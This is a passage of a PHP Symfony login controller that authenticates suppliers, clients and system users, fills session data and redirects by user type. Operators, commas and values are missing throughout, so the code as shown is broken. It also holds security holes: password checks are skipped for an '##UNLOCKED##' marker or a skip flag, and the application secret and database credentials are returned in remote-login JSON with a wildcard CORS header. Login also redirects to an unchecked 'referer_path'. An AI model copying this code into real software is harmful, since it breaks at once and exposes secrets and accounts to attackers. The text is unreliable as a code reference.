  4376.                             $message "We could not find your username or email";
  4377.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4378.                                 return new JsonResponse(array(
  4379.                                     'uid' => $session->get(UserConstants::USER_ID),
  4380.                                     'session' => $session,
  4381.                                     'success' => false,
  4382.                                     'errorStr' => $message,
  4383.                                     'session_data' => [],
  4384.                                 ));
  4385.                             }
  4386.                             if ($systemType == '_BUDDYBEE_')
  4387.                                 return $this->redirectToRoute("applicant_login", [
  4388.                                     "message" => $message,
  4389.                                     "errorField" => 'username',
  4390.                                 ]);
  4391.                             else if ($systemType == '_CENTRAL_')
  4392.                                 return $this->redirectToRoute("central_login", [
  4393.                                     "message" => $message,
  4394.                                     "errorField" => 'username',
  4395.                                 ]);
  4396.                             else if ($systemType == '_SOPHIA_')
  4397.                                 return $this->redirectToRoute("sophia_login", [
  4398.                                     "message" => $message,
  4399.                                     "errorField" => 'username',
  4400.                                 ]);
  4401.                             else
  4402.                                 return $this->render($redirect_login_page_twig, array(
  4403.                                     "message" => $message,
  4404.                                     'page_title' => "Login",
  4405.                                     'gocList' => $gocDataList,
  4406.                                     'gocId' => $gocId
  4407.                                 ));
  4408.                         }
  4409.                         if ($user) {
  4410.                             if ($oAuthData) {
  4411.                                 // user passed
  4412.                             } else {
  4413.                                 if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  4414.                                 } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  4415. //                                    if ($user->getPassword() == $request->request->get('password')) {
  4416. //                                        // user passed
  4417. //                                    } else {
  4418.                                     $message "Oops! Wrong Password";
  4419.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'0)) == 1) {
  4420.                                         return new JsonResponse(array(
  4421.                                             'uid' => $session->get(UserConstants::USER_ID),
  4422.                                             'session' => $session,
  4423.                                             'success' => false,
  4424.                                             'errorStr' => $message,
  4425.                                             'session_data' => [],
  4426.                                         ));
  4427.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4428.                                         //                    return $response;
  4429.                                     }
  4430.                                     if ($systemType == '_BUDDYBEE_')
  4431.                                         return $this->redirectToRoute("applicant_login", [
  4432.                                             "message" => $message,
  4433.                                             "errorField" => 'password',
  4434.                                         ]);
  4435.                                     else if ($systemType == '_SOPHIA_')
  4436.                                         return $this->redirectToRoute("sophia_login", [
  4437.                                             "message" => $message,
  4438.                                             "errorField" => 'username',
  4439.                                         ]);
  4440.                                     else if ($systemType == '_CENTRAL_')
  4441.                                         return $this->redirectToRoute("central_login", [
  4442.                                             "message" => $message,
  4443.                                             "errorField" => 'username',
  4444.                                         ]);
  4445.                                     else
  4446.                                         return $this->render($redirect_login_page_twig, array(
  4447.                                             "message" => $message,
  4448.                                             'page_title' => "Login",
  4449.                                             'gocList' => $gocDataList,
  4450.                                             'gocId' => $gocId
  4451.                                         ));
  4452.                                 }
  4453.                             }
  4454.                         }
  4455.                         $jd = [];
  4456.                         if ($jd != null && $jd != '' && $jd != [])
  4457.                             $company_id_list $jd;
  4458.                         else
  4459.                             $company_id_list = [];
  4460. //                        $companyList = Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4461. //                        foreach ($company_id_list as $c) {
  4462. //                            $company_name_list[$c] = $companyList[$c]['name'];
  4463. //                            $company_image_list[$c] = $companyList[$c]['image'];
  4464. //                        }
  4465.                     };
  4466.                 } else {
  4467.                     if ($cookieLogin == 1) {
  4468.                         $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4469.                             array(
  4470.                                 'userId' => $userId
  4471.                             )
  4472.                         );
  4473.                     } else if ($encrypedLogin == 1) {
  4474.                         if (in_array($userType, [34]))
  4475.                             $specialLogin 1;
  4476.                         if ($userType == UserConstants::USER_TYPE_CLIENT) {
  4477.                             $user null;
  4478.                             if ($clientId 0) {
  4479.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  4480.                                     array(
  4481.                                         'clientId' => $clientId
  4482.                                     )
  4483.                                 );
  4484.                             }
  4485.                             if (!$user) {
  4486.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  4487.                                     array(
  4488.                                         'globalUserId' => $globalId
  4489.                                     )
  4490.                                 );
  4491.                             }
  4492. //
  4493.                             if ($user)
  4494.                                 $userId $user->getClientId();
  4495.                             $clientId $userId;
  4496.                         } else if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  4497.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccSuppliers')->findOneBy(
  4498.                                 array(
  4499.                                     'globalUserId' => $globalId
  4500.                                 )
  4501.                             );
  4502. //
  4503.                             if ($user)
  4504.                                 $userId $user->getSupplierId();
  4505.                             $supplierId $userId;
  4506.                         } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  4507. //                            $user = $em_goc->getRepository('CompanyGroupBundle\\Entity\\SysUser')->findOneBy(
  4508. //                                array(
  4509. //                                    'globalId' => $globalId
  4510. //                                )
  4511. //                            );
  4512. //
  4513. //                            if($user)
  4514. //                                $userId=$user->getUserId();
  4515. //                            $applicantId = $userId;
  4516.                         } else if ($userType == UserConstants::USER_TYPE_GENERAL || $userType == UserConstants::USER_TYPE_SYSTEM) {
  4517.                             $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4518.                                 array(
  4519.                                     'globalId' => $globalId
  4520.                                 )
  4521.                             );
  4522.                             if ($user)
  4523.                                 $userId $user->getUserId();
  4524.                         }
  4525.                     } else {
  4526.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4527.                             array(
  4528.                                 'userName' => $request->request->get('username')
  4529.                             )
  4530.                         );
  4531.                     }
  4532.                     if (!$user) {
  4533.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4534.                             array(
  4535.                                 'email' => $request->request->get('username'),
  4536.                                 'userName' => [null'']
  4537.                             )
  4538.                         );
  4539.                         if (!$user) {
  4540.                             $message "Wrong User Name";
  4541.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4542.                                 return new JsonResponse(array(
  4543.                                     'uid' => $session->get(UserConstants::USER_ID),
  4544.                                     'session' => $session,
  4545.                                     'success' => false,
  4546.                                     'errorStr' => $message,
  4547.                                     'session_data' => [],
  4548.                                 ));
  4549.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4550.                                 //                    return $response;
  4551.                             }
  4552.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4553.                                 "message" => $message,
  4554.                                 'page_title' => "Login",
  4555.                                 'gocList' => $gocDataList,
  4556.                                 'gocId' => $gocId
  4557.                             ));
  4558.                         } else {
  4559.                             //add the email as username as failsafe
  4560.                             $user->setUserName($request->request->get('username'));
  4561.                             $em->flush();
  4562.                         }
  4563.                     }
  4564.                     if ($user) {
  4565.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  4566.                             $message "Sorry, Your Account is Deactivated";
  4567.                             if ($request->request->get('remoteVerify'$request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify))) == 1) {
  4568.                                 return new JsonResponse(array(
  4569.                                     'uid' => $session->get(UserConstants::USER_ID),
  4570.                                     'session' => $session,
  4571.                                     'success' => false,
  4572.                                     'errorStr' => $message,
  4573.                                     'session_data' => [],
  4574.                                 ));
  4575.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4576.                                 //                    return $response;
  4577.                             }
  4578.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4579.                                 "message" => $message,
  4580.                                 'page_title' => "Login",
  4581.                                 'gocList' => $gocDataList,
  4582.                                 'gocId' => $gocId
  4583.                             ));
  4584.                         }
  4585.                     }
  4586.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  4587.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  4588.                         $message "Wrong Email/Password";
  4589.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4590.                             return new JsonResponse(array(
  4591.                                 'uid' => $session->get(UserConstants::USER_ID),
  4592.                                 'session' => $session,
  4593.                                 'success' => false,
  4594.                                 'errorStr' => $message,
  4595.                                 'session_data' => [],
  4596.                             ));
  4597.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4598.                             //                    return $response;
  4599.                         }
  4600.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4601.                             "message" => $message,
  4602.                             'page_title' => "Login",
  4603.                             'gocList' => $gocDataList,
  4604.                             'gocId' => $gocId
  4605.                         ));
  4606.                     }
  4607.                     $userType $user->getUserType();
  4608.                     $jd json_decode($user->getUserCompanyIdList(), true);
  4609.                     if ($jd != null && $jd != '' && $jd != [])
  4610.                         $company_id_list $jd;
  4611.                     else
  4612.                         $company_id_list = [$user->getUserCompanyId()];
  4613.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4614.                     foreach ($company_id_list as $c) {
  4615.                         if (isset($companyList[$c])) {
  4616.                             $company_name_list[$c] = $companyList[$c]['name'];
  4617.                             $company_image_list[$c] = $companyList[$c]['image'];
  4618.                             $company_dark_vibrant_list[$c] = $companyList[$c]['dark_vibrant'];
  4619.                             $company_light_vibrant_list[$c] = $companyList[$c]['light_vibrant'];
  4620.                             $company_vibrant_list[$c] = $companyList[$c]['vibrant'];
  4621.                         }
  4622.                     }
  4623.                 }
  4624. //                $data["email"] = $request->request->get('username') ? $request->request->get('username') : $oAuthData['email'];
  4625.                 if ($remember_me == 1)
  4626.                     $session->set('REMEMBERME'1);
  4627.                 else
  4628.                     $session->set('REMEMBERME'0);
  4629.                 $config = array(
  4630.                     'firstLogin' => $firstLogin,
  4631.                     'rememberMe' => $remember_me,
  4632.                     'notificationEnabled' => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4633.                     'notificationServer' => $this->getParameter('notification_server') == '' GeneralConstant::NOTIFICATION_SERVER $this->getParameter('notification_server'),
  4634.                     'applicationSecret' => $this->container->getParameter('secret'),
  4635.                     'gocId' => $gocId,
  4636.                     'appId' => $appIdFromUserName,
  4637.                     'gocDbName' => $gocDbName,
  4638.                     'gocDbUser' => $gocDbUser,
  4639.                     'gocDbHost' => $gocDbHost,
  4640.                     'gocDbPass' => $gocDbPass
  4641.                 );
  4642.                 $product_name_display_type 0;
  4643.                 if ($systemType != '_CENTRAL_') {
  4644.                     $product_name_display_settings $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSettings')->findOneBy(array(
  4645.                         'name' => 'product_name_display_method'
  4646.                     ));
  4647.                     if ($product_name_display_settings)
  4648.                         $product_name_display_type $product_name_display_settings->getData();
  4649.                 }
  4650.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  4651.                     $userCompanyId 1;
  4652.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4653.                     if (isset($companyList[$userCompanyId])) {
  4654.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4655.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4656.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4657.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4658.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4659.                     }
  4660.                     // General User
  4661.                     $session->set(UserConstants::USER_ID$user->getSupplierId());
  4662.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  4663.                     $session->set(UserConstants::SUPPLIER_ID$user->getSupplierId());
  4664.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_SUPPLIER);
  4665.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  4666.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  4667.                     $session->set(UserConstants::USER_NAME$user->getSupplierName());
  4668.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  4669.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  4670.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  4671.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  4672.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4673.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  4674.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  4675.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  4676.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4677.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  4678.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  4679.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  4680.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  4681.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  4682.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4683.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4684.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4685.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4686.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4687.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4688.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  4689.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  4690.                     //                $PL=json_decode($user->getPositionIds(), true);
  4691.                     $route_list_array = [];
  4692.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  4693.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  4694.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4695.                     $loginID 0;
  4696.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  4697.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  4698.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4699.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4700.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4701.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4702.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4703.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  4704.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4705.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  4706.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  4707.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4708.                         $session->set('remoteVerified'1);
  4709.                         $session_data = array(
  4710.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  4711.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  4712.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  4713.                             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  4714.                             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  4715.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  4716.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  4717.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  4718.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  4719.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  4720.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  4721.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  4722.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  4723.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  4724.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  4725.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4726.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4727.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4728.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  4729.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  4730.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  4731.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  4732.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  4733.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  4734.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  4735.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  4736.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  4737.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  4738.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  4739.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  4740.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4741.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4742.                         );
  4743.                         $session_data $this->filterClientSessionData($session_data);
  4744.                         $response = new JsonResponse(array(
  4745.                             'uid' => $session->get(UserConstants::USER_ID),
  4746.                             'session' => $session,
  4747.                             'success' => true,
  4748.                             'session_data' => $session_data,
  4749.                         ));
  4750.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4751.                         return $response;
  4752.                     }
  4753.                     if ($request->request->has('referer_path')) {
  4754.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4755.                             return $this->redirect($request->request->get('referer_path'));
  4756.                         }
  4757.                     }
  4758.                     //                    if($request->request->has('gocId')
  4759.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  4760.                     return $this->redirectToRoute("supplier_dashboard");
  4761.                     //                    else
  4762.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  4763.                 }
  4764.                 if ($userType == UserConstants::USER_TYPE_CLIENT) {
  4765.                     // General User
  4766.                     $userCompanyId 1;
  4767.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4768.                     if (isset($companyList[$userCompanyId])) {
  4769.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4770.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4771.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4772.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4773.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4774.                     }
  4775.                     $session->set(UserConstants::USER_ID$user->getClientId());
  4776.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  4777.                     $session->set(UserConstants::CLIENT_ID$user->getClientId());
  4778.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_CLIENT);
  4779.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  4780.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  4781.                     $session->set(UserConstants::USER_NAME$user->getClientName());
  4782.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  4783.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  4784.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  4785.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  4786.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4787.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  4788.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  4789.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  4790.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  4791.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  4792.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  4793.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  4794.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  4795.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4796.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4797.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4798.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4799.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4800.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4801.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  4802.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  4803.                     //                $PL=json_decode($user->getPositionIds(), true);
  4804.                     $route_list_array = [];
  4805.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  4806.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  4807.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4808.                     $loginID 0;
  4809.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  4810.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  4811.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4812.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4813.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4814.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4815.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4816.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  4817.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4818.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  4819.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  4820.                     $session_data = array(
  4821.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  4822.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  4823.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  4824.                         UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  4825.                         UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  4826.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  4827.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  4828.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  4829.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  4830.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  4831.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  4832.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  4833.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  4834.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  4835.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  4836.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  4837.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  4838.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  4839.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  4840.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  4841.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4842.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4843.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4844.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  4845.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  4846.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  4847.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  4848.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  4849.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  4850.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  4851.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4852.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4853.                     );
  4854.                     $session_data $this->filterClientSessionData($session_data);
  4855.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  4856.                     $session_data $tokenData['sessionData'];
  4857.                     $token $tokenData['token'];
  4858.                     $session->set('token'$token);
  4859.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4860.                         $session->set('remoteVerified'1);
  4861.                         $response = new JsonResponse(array(
  4862.                             'uid' => $session->get(UserConstants::USER_ID),
  4863.                             'session' => $session,
  4864.                             'token' => $token,
  4865.                             'success' => true,
  4866.                             'session_data' => $session_data,
  4867.                         ));
  4868.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4869.                         return $response;
  4870.                     }
  4871.                     if ($request->request->has('referer_path')) {
  4872.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4873.                             return $this->redirect($request->request->get('referer_path'));
  4874.                         }
  4875.                     }
  4876.                     //                    if($request->request->has('gocId')
  4877.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  4878.                     return $this->redirectToRoute("client_dashboard"); //will be client
  4879.                     //                    else
  4880.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  4881.                 } else if ($userType == UserConstants::USER_TYPE_SYSTEM) {
  4882.                     // System administrator
  4883.                     // System administrator have successfully logged in. Lets add a login ID.
  4884.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  4885.                         ->findOneBy(
  4886.                             array(
  4887.                                 'userId' => $user->getUserId()
  4888.                             )
  4889.                         );
  4890.                     if ($employeeObj) {
  4891.                         $employeeId $employeeObj->getEmployeeId();
  4892.                         $epositionId $employeeObj->getPositionId();
  4893.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  4894.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  4895.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  4896.                     }
  4897.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  4898.                         ->findOneBy(
  4899.                             array(
  4900.                                 'userId' => $user->getUserId(),
  4901.                                 'workingStatus' => 1
  4902.                             )
  4903.                         );
  4904.                     if ($currentTask) {
  4905.                         $currentTaskId $currentTask->getId();
  4906.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  4907.                     }
  4908.                     $userId $user->getUserId();
  4909.                     $userCompanyId 1;
  4910.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  4911.                     $userEmail $user->getEmail();
  4912.                     $userImage $user->getImage();
  4913.                     $userFullName $user->getName();
  4914.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  4915.                     $position_list_array json_decode($user->getPositionIds(), true);
  4916.                     if ($position_list_array == null$position_list_array = [];
